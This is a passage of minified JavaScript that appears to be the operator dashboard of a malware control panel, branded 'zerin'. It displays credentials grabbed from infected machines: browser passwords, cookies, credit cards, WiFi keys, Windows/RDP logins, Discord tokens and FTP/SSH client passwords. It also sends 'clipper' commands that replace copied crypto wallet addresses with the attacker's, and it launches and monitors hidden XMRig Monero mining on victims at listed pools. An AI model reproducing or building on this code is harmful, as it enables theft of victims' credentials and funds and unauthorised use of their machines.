24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(Mr,{title:"Browser Passwords",count:(((w=i.chrome_passwords)==null?void 0:w.length)??0)+(((j=i.firefox_passwords)==null?void 0:j.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((A,Z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:A.browser??"Firefox"}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:A.url}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(A.username),children:A.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(A.password),children:A.password?"••••••••":""})]},Z))})]})}),s.jsx(Mr,{title:"Browser Cookies",count:((k=i.chrome_cookies)==null?void 0:k.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(S=i.chrome_cookies)!=null&&S.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((A,Z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:A.browser}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:A.host}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:A.name}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:()=>v(A.value),children:[A.value.slice(0,40),"..."]})]},Z))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),s.jsx(Mr,{title:"Credit Cards",count:((N=i.chrome_cards)==null?void 0:N.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(z=i.chrome_cards)!=null&&z.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cards.map((A,Z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:A.browser}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:A.name}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(A.number),children:A.number}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:A.exp})]},Z))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),s.jsx(Mr,{title:"WiFi Passwords",count:((O=i.wifi)==null?void 0:O.length)??0,expanded:d.has("wifi"),onToggle:()=>g("wifi"),children:(E=i.wifi)!=null&&E.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.wifi.map((A,Z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:A.ssid}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:A.auth}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(A.password),children:A.password||"(none)"})]},Z))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),s.jsx(Mr,{title:"Windows Credentials",count:((T=i.windows_credentials)==null?void 0:T.length)??0,expanded:d.has("windows_credentials"),onToggle:()=>g("windows_credentials"),children:(P=i.windows_credentials)!=null&&P.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.windows_credentials.map((A,Z)=>s.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${A.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[A.is_rdp&&s.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),A.target]}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(A.username),children:A.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(A.password),children:A.password?"••••••••":""}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:A.type})]},Z))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),s.jsx(Mr,{title:"Discord Tokens",count:((U=i.discord_tokens)==null?void 0:U.length)??0,expanded:d.has("discord_tokens"),onToggle:()=>g("discord_tokens"),children:(K=i.discord_tokens)!=null&&K.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.discord_tokens.map((A,Z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:A.source}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:A.type}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:()=>v(A.token),children:[A.token.slice(0,20),"..."]})]},Z))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),s.jsx(Mr,{title:"Applications",count:(($=i.telegram)!=null&&$.found?1:0)+(((L=i.filezilla)==null?void 0:L.length)??0)+(((F=i.winscp)==null?void 0:F.length)??0)+(((W=i.putty)==null?void 0:W.length)??0)+(((H=i.outlook)==null?void 0:H.length)??0),expanded:d.has("apps"),onToggle:()=>g("apps"),children:s.jsxs("div",{className:"space-y-3 p-4",children:[i.telegram&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),i.telegram.found?s.jsxs("p",{className:"text-xs text-zerin-text font-mono",children:["Found at: ",s.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:()=>v(i.telegram.path),children:i.telegram.path})]}):s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not installed"})]}),(((B=i.filezilla)==null?void 0:B.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((A,Z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[A.host,":",A.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:A.user}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(A.password),children:A.password?"••••••••":""})]},Z))})})]}),(((q=i.winscp)==null?void 0:q.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((A,Z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:A.host}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:A.user}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(A.password),children:A.password?"••••••••":""})]},Z))})})]}),(((X=i.putty)==null?void 0:X.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((A,Z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text-dim",children:A.session}),s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[A.host,":",A.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:A.user})]},Z))})})]}),(((se=i.outlook)==null?void 0:se.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",i.outlook.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((A,Z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:A.account}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:A.server}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(A.password),children:A.password?"••••••••":""})]},Z))})})]}),!((ue=i.telegram)!=null&&ue.found)&&!((fe=i.filezilla)!=null&&fe.length)&&!((me=i.winscp)!=null&&me.length)&&!((Y=i.putty)!=null&&Y.length)&&!((te=i.outlook)!=null&&te.length)&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),(((C=i.errors)==null?void 0:C.length)??0)>0&&s.jsx(Mr,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:s.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((A,Z)=>s.jsxs("div",{className:"text-xs",children:[s.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[A.source,":"]})," ",s.jsx("span",{className:"text-zerin-danger",children:A.error})]},Z))})})]}),!i&&!o&&!c&&s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",s.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function Mr({title:e,count:t,expanded:n,onToggle:r,children:i}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r + hover:bg-zerin-panel-hover transition-colors`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),s.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&s.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const EU=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],AU={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function l2(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function _U({agentId:e,agentStatus:t}){const[n,r]=p.useState({...AU}),[i,a]=p.useState(!1),[o,l]=p.useState(!1),[c,u]=p.useState(null),[d,f]=p.useState({}),m=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(k=>({...k,[b]:w}));const j=l2(b,w);f(k=>{const S={...k};return j?S[b]=j:delete S[b],S})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=p.useCallback(async()=>{if(m)return;const b={};for(const[w,j]of Object.entries(n))if(j){const k=l2(w,j);k&&(b[w]=k)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,k]of Object.entries(n))k&&(w[j]=k);await Ce(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,m]),v=p.useCallback(async()=>{if(!m){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await Ce(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await Ce(e,{command:i?"clipper_stop":"clipper_start"}),a(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,m]);return s.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&s.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg + ${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),s.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),s.jsxs("button",{onClick:v,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors + disabled:opacity-30 disabled:cursor-not-allowed + ${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),s.jsx("button",{onClick:y,disabled:o||m||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),s.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:EU.map(({key:b,label:w,placeholder:j,color:k})=>s.jsxs("div",{className:"space-y-1",children:[s.jsx("label",{className:`text-xs font-semibold ${k}`,children:w}),s.jsx("input",{type:"text",value:n[b],onChange:S=>x(b,S.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text + placeholder-zerin-text-muted + focus:outline-none focus:ring-1 transition-all + ${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&s.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),s.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[s.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),s.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),s.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),s.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),s.jsx("li",{children:"Config can be updated while running"})]})]})]})}const c2=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function OU({agentId:e,agentStatus:t}){const[n,r]=p.useState(c2[0]),[i,a]=p.useState(""),[o,l]=p.useState(""),[c,u]=p.useState(50),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),y=p.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(z,O)=>{h({text:z,type:O}),setTimeout(()=>h(null),5e3)};p.useEffect(()=>{if(!e)return;const z=async()=>{try{const O=await Tn(e),E=(O.tasks??[]).filter(T=>T.command==="miner_status").sort((T,P)=>new Date(P.created_at).getTime()-new Date(T.created_at).getTime());if(E.length>0){const T=E[0],P=(O.results??[]).find(U=>U.task_id===T.id);if(P!=null&&P.output)try{const U=JSON.parse(P.output);g(U)}catch{}}}catch{}};return z(),y.current=setInterval(z,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await Ce(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await Ce(e,{command:"miner_status"})}catch{}},3e3)}catch(z){w(z instanceof Error?z.message:"Failed to start","err")}finally{f(!1)}},k=async()=>{f(!0);try{await Ce(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to stop","err")}finally{f(!1)}},S=async()=>{try{await Ce(e,{command:"miner_status"}),w("Status request sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to query status","err")}},N=z=>{const O=Math.floor(z/3600),E=Math.floor(z%3600/60),T=Math.floor(z%60);return O>0?`${O}h ${E}m ${T}s`:E>0?`${E}m ${T}s`:`${T}s`};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),b&&x&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Mining Stats"}),s.jsx("button",{onClick:S,className:"text-xs text-zerin-text-muted hover:text-zerin-accent transition-colors",children:"Refresh"})]}),s.jsxs("div",{className:"p-4 grid grid-cols-2 gap-4",children:[s.jsx(aa,{label:"Hashrate (10s)",value:x.hashrate_10s!=null?`${x.hashrate_10s.toFixed(1)} H/s`:"-"}),s.jsx(aa,{label:"Hashrate (60s)",value:x.hashrate_60s!=null?`${x.hashrate_60s.toFixed(1)} H/s`:"-"}),s.jsx(aa,{label:"Accepted",value:x.accepted!=null?String(x.accepted):"-",valueClass:"text-emerald-400"}),s.jsx(aa,{label:"Rejected",value:x.rejected!=null?String(x.rejected):"-",valueClass:x.rejected&&x.rejected>0?"text-red-400":void 0}),s.jsx(aa,{label:"Uptime",value:x.uptime!=null?N(x.uptime):"-"}),s.jsx(aa,{label:"PID",value:x.pid!=null?String(x.pid):"-"})]}),x.error&&s.jsx("div",{className:"px-4 pb-3",children:s.jsx("p",{className:"text-xs text-red-400 font-mono",children:x.error})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Pool"}),s.jsx("select",{value:n,onChange:z=>r(z.target.value),disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:c2.map(z=>s.jsx("option",{value:z,children:z},z))})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),s.jsx("input",{type:"text",value:i,onChange:z=>a(z.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),s.jsx("input",{type:"text",value:o,onChange:z=>l(z.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[c,"%"]})]}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:z=>u(Number(z.target.value)),disabled:v||b,className:"w-full accent-amber-500 disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"10%"}),s.jsx("span",{children:"25%"}),s.jsx("span",{children:"50%"}),s.jsx("span",{children:"75%"}),s.jsx("span",{children:"100%"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:b?s.jsxs("button",{onClick:k,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 